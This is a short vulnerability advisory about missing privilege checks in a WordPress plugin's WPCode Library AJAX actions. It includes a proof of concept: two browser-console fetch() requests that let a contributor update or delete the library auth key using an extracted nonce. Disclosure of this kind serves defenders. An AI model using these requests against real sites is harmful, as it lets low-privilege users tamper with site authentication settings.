The plugin does not have adequate privilege checks in place for several AJAX actions, only checking the nonce. This may lead to allowing any authenticated user who can edit posts to call the endpoints related to WPCode Library authentication (such as update and delete the auth key).
As a contributor, edit a post and extract the nonce from the "var wpcode =" JS code, then run the below command in the developer console of the web browser To update the auth key: fetch("/wp-admin/admin-ajax.php", { "headers": { "content-type": "application/x-www-form-urlencoded", }, "method": "POST", "body": 'action=wpcode_library_store_auth&_ajax_nonce=NONCE&key=AAAAAA&username=dummy&origin=https://library.wpcode.com', "credentials": "include" }).then(response => response.text()) .then(data => console.log(data)); To delete the auth key fetch("/wp-admin/admin-ajax.php", { "headers": { "content-type": "application/x-www-form-urlencoded", }, "method": "POST", "body": 'action=wpcode_library_delete_auth&_ajax_nonce=NONCE', "credentials": "include" }).then(response => response.text()) .then(data => console.log(data));
Sanjay Das
Sanjay Das
Yes
2023-02-09 (about 3 months ago)
2023-02-09 (about 3 months ago)
2023-02-09 (about 3 months ago)